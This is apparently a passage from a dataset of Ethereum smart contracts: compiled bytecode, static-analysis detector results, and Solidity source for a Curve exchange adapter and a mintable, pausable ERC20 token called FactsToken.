d5b61095382610922565b9392505050565b6000806040838503121561096c578081fd5b61097583610922565b915061098360208401610922565b90509250929050565b6000806000606084860312156109a0578081fd5b6109a984610922565b92506109b760208501610922565b9150604084013590509250925092565b600080604083850312156109d9578182fd5b6109e283610922565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610a3b57858101830151858201604001528201610a1f565b81811115610a4c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610d6b57610d6b610dc2565b500190565b600082821015610d8257610d82610dc2565b500390565b600281046001821680610d9b57607f821691505b60208210811415610dbc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207a3fb5cfcb4e1d94c937f2fcdad73c105a73bc2b81f24c37aba00a21b73049c664736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 8,489 |
0x9710d1d75f51b06e746dd24e154d22b621f0734a
|
pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
struct FullAbsoluteTokenAmount {
AbsoluteTokenAmountMeta base;
AbsoluteTokenAmountMeta[] underlying;
}
struct AbsoluteTokenAmountMeta {
AbsoluteTokenAmount absoluteTokenAmount;
ERC20Metadata erc20metadata;
}
struct ERC20Metadata {
string name;
string symbol;
uint8 decimals;
}
struct AdapterBalance {
bytes32 protocolAdapterName;
AbsoluteTokenAmount[] absoluteTokenAmounts;
}
struct AbsoluteTokenAmount {
address token;
uint256 amount;
}
struct Component {
address token;
uint256 rate;
}
struct TransactionData {
Action[] actions;
TokenAmount[] inputs;
Fee fee;
AbsoluteTokenAmount[] requiredOutputs;
uint256 nonce;
}
struct Action {
bytes32 protocolAdapterName;
ActionType actionType;
TokenAmount[] tokenAmounts;
bytes data;
}
struct TokenAmount {
address token;
uint256 amount;
AmountType amountType;
}
struct Fee {
uint256 share;
address beneficiary;
}
enum ActionType { None, Deposit, Withdraw }
enum AmountType { None, Relative, Absolute }
abstract contract ProtocolAdapter {
/**
* @dev MUST return amount and type of the given token
* locked on the protocol by the given account.
*/
function getBalance(
address token,
address account
)
public
view
virtual
returns (uint256);
}
contract CurveExchangeAdapter is ProtocolAdapter {
/**
* @notice This function is unavailable for exchange adapter.
* @dev Implementation of ProtocolAdapter abstract contract function.
*/
function getBalance(
address,
address
)
public
pure
override
returns (uint256)
{
revert("CEA: no balance");
}
}
abstract contract InteractiveAdapter is ProtocolAdapter {
uint256 internal constant DELIMITER = 1e18;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev The function must deposit assets to the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function deposit(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
virtual
returns (address[] memory);
/**
* @dev The function must withdraw assets from the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function withdraw(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
virtual
returns (address[] memory);
function getAbsoluteAmountDeposit(
TokenAmount calldata tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance;
if (token == ETH) {
balance = address(this).balance;
} else {
balance = ERC20(token).balanceOf(address(this));
}
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function getAbsoluteAmountWithdraw(
TokenAmount calldata tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance = getBalance(token, address(this));
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "IA: mul overflow");
return c;
}
}
contract CurveExchangeInteractiveAdapter is CurveExchangeAdapter, InteractiveAdapter {
using SafeERC20 for ERC20;
/**
* @notice Exchanges tokens using the given swap contract.
* @param tokenAmounts Array with one element - TokenAmount struct with
* "from" token address, "from" token amount to be deposited, and amount type.
* @param data Token address to be exchanged to (ABI-encoded).
* @param data ABI-encoded additional parameters:
* - toToken - destination token address (one of those used in swap).
* - swap - swap address.
* - i - input token index.
* - j - destination token index.
* @dev Implementation of InteractiveAdapter function.
*/
function deposit(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "CEIA: should be 1 token");
address token = tokenAmounts[0].token;
uint256 amount = getAbsoluteAmountDeposit(tokenAmounts[0]);
(address toToken, address swap, int128 i, int128 j) = abi.decode(
data,
(address, address, int128, int128)
);
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = toToken;
uint256 allowance = ERC20(token).allowance(address(this), swap);
if (allowance < amount) {
if (allowance > 0) {
ERC20(token).safeApprove(swap, 0, "CEIA[1]");
}
ERC20(token).safeApprove(swap, type(uint256).max, "CEIA[2]");
}
// solhint-disable-next-line no-empty-blocks
try Stableswap(swap).exchange_underlying(i, j, amount, 0) {
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("CEIA: deposit fail");
}
}
/**
* @notice Withdraw functionality is not supported.
* @dev Implementation of InteractiveAdapter function.
*/
function withdraw(
TokenAmount[] calldata,
bytes calldata
)
external
payable
override
returns (address[] memory)
{
revert("CEIA: no withdraw");
}
}
interface Stableswap {
/* solhint-disable-next-line func-name-mixedcase */
function underlying_coins(int128) external view returns (address);
function exchange_underlying(int128, int128, uint256, uint256) external;
function get_dy_underlying(int128, int128, uint256) external view returns (uint256);
function coins(int128) external view returns (address);
function coins(uint256) external view returns (address);
function balances(int128) external view returns (uint256);
function balances(uint256) external view returns (uint256);
}
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}
library SafeERC20 {
function safeTransfer(
ERC20 token,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transfer.selector,
to,
value
),
"transfer",
location
);
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transferFrom.selector,
from,
to,
value
),
"transferFrom",
location
);
}
function safeApprove(
ERC20 token,
address spender,
uint256 value,
string memory location
)
internal
{
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: bad approve call"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
value
),
"approve",
location
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract),
* relaxing the requirement on the return value: the return value is optional
* (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
* @param location Location of the call (for debug).
*/
function callOptionalReturn(
ERC20 token,
bytes memory data,
string memory functionName,
string memory location
)
private
{
// We need to perform a low level call here, to bypass Solidity's return data size checking
// mechanism, since we're implementing it ourselves.
// We implement two-steps call as callee is a contract is a responsibility of a caller.
// 1. The call itself is made, and success asserted
// 2. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(
success,
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" failed in ",
location
)
)
);
if (returndata.length > 0) { // Return data is optional
require(
abi.decode(returndata, (bool)),
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" returned false in ",
location
)
)
);
}
}
}
|
0x6080604052600436106100345760003560e01c806328ffb83d14610039578063387b817414610062578063d4fac45d14610075575b600080fd5b61004c610047366004610a9b565b6100a2565b6040516100599190610d3a565b60405180910390f35b61004c610070366004610a9b565b61041e565b34801561008157600080fd5b50610095610090366004610a63565b610452565b6040516100599190610fc0565b6060600184146100e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610ead565b60405180910390fd5b6000858560008181106100f657fe5b61010c92602060609092020190810191506109ee565b9050600061012b8787600081811061012057fe5b905060600201610486565b9050600080808061013e888a018a610a0a565b604080516001808252818301909252949850929650909450925060208083019080368337019050509650838760008151811061017657fe5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815260009188169063dd62ed3e906101db9030908890600401610ced565b60206040518083038186803b1580156101f357600080fd5b505afa158015610207573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022b9190610b96565b90508581101561030e5780156102955760408051808201909152600781527f434549415b315d0000000000000000000000000000000000000000000000000060208201526102959073ffffffffffffffffffffffffffffffffffffffff8916908690600090610692565b60408051808201909152600781527f434549415b325d00000000000000000000000000000000000000000000000000602082015261030e9073ffffffffffffffffffffffffffffffffffffffff89169086907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90610692565b6040517fa6417ed600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063a6417ed69061036790869086908b90600090600401610d94565b600060405180830381600087803b15801561038157600080fd5b505af1925050508015610392575060015b61040f5761039e610ffb565b806103a957506103dd565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610db7565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610ee4565b50505050505050949350505050565b60606040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610e08565b60006040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f1b565b60008061049660208401846109ee565b9050602083013560006104af6060860160408701610b77565b905060018160028111156104bf57fe5b14806104d6575060028160028111156104d457fe5b145b61050c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610e3f565b600181600281111561051a57fe5b141561068357670de0b6b3a7640000821115610562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610e76565b600073ffffffffffffffffffffffffffffffffffffffff841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561059d575047610642565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906370a08231906105ef903090600401610ccc565b60206040518083038186803b15801561060757600080fd5b505afa15801561061b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063f9190610b96565b90505b670de0b6b3a764000083141561065d57935061068d92505050565b670de0b6b3a76400006106708285610834565b8161067757fe5b0494505050505061068d565b50915061068d9050565b919050565b81158061074057506040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e906106ee9030908790600401610ced565b60206040518083038186803b15801561070657600080fd5b505afa15801561071a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073e9190610b96565b155b610776576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f89565b61082e8463095ea7b360e01b8585604051602401610795929190610d14565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060400160405280600781526020017f617070726f76650000000000000000000000000000000000000000000000000081525084610891565b50505050565b6000826108435750600061088b565b8282028284828161085057fe5b0414610888576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f52565b90505b92915050565b600060608573ffffffffffffffffffffffffffffffffffffffff16856040516108ba9190610bae565b6000604051808303816000865af19150503d80600081146108f7576040519150601f19603f3d011682016040523d82523d6000602084013e6108fc565b606091505b5091509150818484604051602001610915929190610c4b565b6040516020818303038152906040529061095c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610db7565b508051156109d457808060200190518101906109789190610b57565b848460405160200161098b929190610bca565b604051602081830303815290604052906109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610db7565b505b505050505050565b8035600f81900b811461088b57600080fd5b6000602082840312156109ff578081fd5b8135610888816110dd565b60008060008060808587031215610a1f578283fd5b8435610a2a816110dd565b93506020850135610a3a816110dd565b9250610a4986604087016109dc565b9150610a5886606087016109dc565b905092959194509250565b60008060408385031215610a75578182fd5b8235610a80816110dd565b91506020830135610a90816110dd565b809150509250929050565b60008060008060408587031215610ab0578384fd5b843567ffffffffffffffff80821115610ac7578586fd5b818701915087601f830112610ada578586fd5b813581811115610ae8578687fd5b886020606083028501011115610afc578687fd5b602092830196509450908601359080821115610b16578384fd5b818701915087601f830112610b29578384fd5b813581811115610b37578485fd5b886020828501011115610b48578485fd5b95989497505060200194505050565b600060208284031215610b68578081fd5b81518015158114610888578182fd5b600060208284031215610b88578081fd5b813560038110610888578182fd5b600060208284031215610ba7578081fd5b5051919050565b60008251610bc0818460208701610fc9565b9190910192915050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610c0281600b850160208801610fc9565b7f2072657475726e65642066616c736520696e2000000000000000000000000000600b918401918201528351610c3f81601e840160208801610fc9565b01601e01949350505050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610c8381600b850160208801610fc9565b7f206661696c656420696e20000000000000000000000000000000000000000000600b918401918201528351610cc0816016840160208801610fc9565b01601601949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610d8857835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101610d56565b50909695505050505050565b600f94850b81529290930b60208301526040820152606081019190915260800190565b6000602082528251806020840152610dd6816040850160208701610fc9565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526011908201527f434549413a206e6f207769746864726177000000000000000000000000000000604082015260600190565b60208082526013908201527f49413a2062616420616d6f756e74207479706500000000000000000000000000604082015260600190565b6020808252600e908201527f49413a2062616420616d6f756e74000000000000000000000000000000000000604082015260600190565b60208082526017908201527f434549413a2073686f756c64206265203120746f6b656e000000000000000000604082015260600190565b60208082526012908201527f434549413a206465706f736974206661696c0000000000000000000000000000604082015260600190565b6020808252600f908201527f4345413a206e6f2062616c616e63650000000000000000000000000000000000604082015260600190565b60208082526010908201527f49413a206d756c206f766572666c6f7700000000000000000000000000000000604082015260600190565b6020808252601b908201527f5361666545524332303a2062616420617070726f76652063616c6c0000000000604082015260600190565b90815260200190565b60005b83811015610fe4578181015183820152602001610fcc565b8381111561082e5750506000910152565b60e01c90565b600060443d101561100b576110da565b600481823e6308c379a061101f8251610ff5565b14611029576110da565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff816024840111818411171561107757505050506110da565b8284019250825191508082111561109157505050506110da565b503d830160208284010111156110a9575050506110da565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01681016020016040529150505b90565b73ffffffffffffffffffffffffffffffffffffffff811681146110ff57600080fd5b5056fea2646970667358221220f598ff8177e21f28a8fa75ba23bb41e2381b115dfab2b7787c8f9e2236ca0eba64736f6c63430007010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,490 |
0xd8e6a6a27f31cb4ee8d7584b7a67e624e17a038a
|
pragma solidity ^0.4.21;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
//if(msg.data.length < size + 4) {
// throw;
//}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) public {
uint _allowance;
_allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
require(_allowance >= _value);
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
// if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint value);
event MintFinished();
bool public mintingFinished = false;
uint public totalSupply = 0;
modifier canMint() {
// if(mintingFinished) throw;
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
// if (paused) throw;
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
// if (!paused) throw;
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* Pausable token
*
* Simple ERC20 Token example, with pausable token creation
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused public {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public {
super.transferFrom(_from, _to, _value);
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a time has passed
*/
contract TokenTimelock {
// ERC20 basic token contract being held
ERC20Basic token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp where token release is enabled
uint public releaseTime;
constructor(ERC20Basic _token, address _beneficiary, uint _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @dev beneficiary claims tokens held by time lock
*/
function claim() public {
require(msg.sender == beneficiary);
require(now >= releaseTime);
uint amount = token.balanceOf(this);
require(amount > 0);
token.transfer(beneficiary, amount);
}
}
/**
* @title FACTSToken
* @dev Facts Token contract
*/
contract FactsToken is PausableToken, MintableToken {
using SafeMath for uint256;
string public name = "F4Token";
string public symbol = "FFFF";
uint public decimals = 18;
/**
* @dev mint timelocked tokens
*/
function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public
onlyOwner canMint returns (TokenTimelock) {
TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime);
mint(timelock, _amount);
return timelock;
}
mapping (address => string) public keys;
event LogRegister (address user, string key);
// Value should be a public key. Read full key import policy.
// Manually registering requires a base58
// encoded using the STEEM, BTS, or EOS public key format.
function register(string key) public {
assert(bytes(key).length <= 64);
keys[msg.sender] = key;
emit LogRegister(msg.sender, key);
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013f578063095ea7b3146101c957806318160ddd146101ef57806323b872dd14610216578063313ce567146102405780633f4ba83a1461025557806340c10f191461026a5780635c975abb1461028e578063670d14b2146102a357806370a08231146102c45780637d64bcb4146102e55780638456cb59146102fa5780638da5cb5b1461030f57806395d89b4114610340578063a9059cbb14610355578063c14a3b8c14610379578063dd62ed3e146103a0578063f2c298be146103c7578063f2fde38b14610420575b600080fd5b34801561012257600080fd5b5061012b610441565b604080519115158252519081900360200190f35b34801561014b57600080fd5b50610154610463565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018e578181015183820152602001610176565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d557600080fd5b506101ed600160a060020a03600435166024356104f1565b005b3480156101fb57600080fd5b5061020461058d565b60408051918252519081900360200190f35b34801561022257600080fd5b506101ed600160a060020a0360043581169060243516604435610593565b34801561024c57600080fd5b506102046105ba565b34801561026157600080fd5b5061012b6105c0565b34801561027657600080fd5b5061012b600160a060020a0360043516602435610644565b34801561029a57600080fd5b5061012b610725565b3480156102af57600080fd5b50610154600160a060020a0360043516610735565b3480156102d057600080fd5b50610204600160a060020a036004351661079d565b3480156102f157600080fd5b5061012b6107b8565b34801561030657600080fd5b5061012b61083c565b34801561031b57600080fd5b506103246108c4565b60408051600160a060020a039092168252519081900360200190f35b34801561034c57600080fd5b506101546108d3565b34801561036157600080fd5b506101ed600160a060020a036004351660243561092e565b34801561038557600080fd5b50610324600160a060020a0360043516602435604435610953565b3480156103ac57600080fd5b50610204600160a060020a03600435811690602435166109fb565b3480156103d357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101ed943694929360249392840191908190840183828082843750949750610a269650505050505050565b34801561042c57600080fd5b506101ed600160a060020a0360043516610b12565b6003547501000000000000000000000000000000000000000000900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b505050505081565b8015806105215750600160a060020a03338116600090815260026020908152604080832093861683529290522054155b151561052c57600080fd5b600160a060020a03338116600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35050565b60045481565b60035460a060020a900460ff16156105aa57600080fd5b6105b5838383610b68565b505050565b60075481565b60035460009033600160a060020a039081169116146105de57600080fd5b60035460a060020a900460ff1615156105f657600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a15060015b90565b60035460009033600160a060020a0390811691161461066257600080fd5b6003547501000000000000000000000000000000000000000000900460ff161561068b57600080fd5b60045461069e908363ffffffff610c9716565b600455600160a060020a0383166000908152600160205260409020546106ca908363ffffffff610c9716565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a250600192915050565b60035460a060020a900460ff1681565b60086020908152600091825260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845290918301828280156104e95780601f106104be576101008083540402835291602001916104e9565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a039081169116146107d657600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60035460009033600160a060020a0390811691161461085a57600080fd5b60035460a060020a900460ff161561087157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e95780601f106104be576101008083540402835291602001916104e9565b60035460a060020a900460ff161561094557600080fd5b61094f8282610cad565b5050565b600354600090819033600160a060020a0390811691161461097357600080fd5b6003547501000000000000000000000000000000000000000000900460ff161561099c57600080fd5b3085846109a7610d87565b600160a060020a039384168152919092166020820152604080820192909252905190819003606001906000f0801580156109e5573d6000803e3d6000fd5b5090506109f28185610644565b50949350505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b805160401015610a3257fe5b600160a060020a03331660009081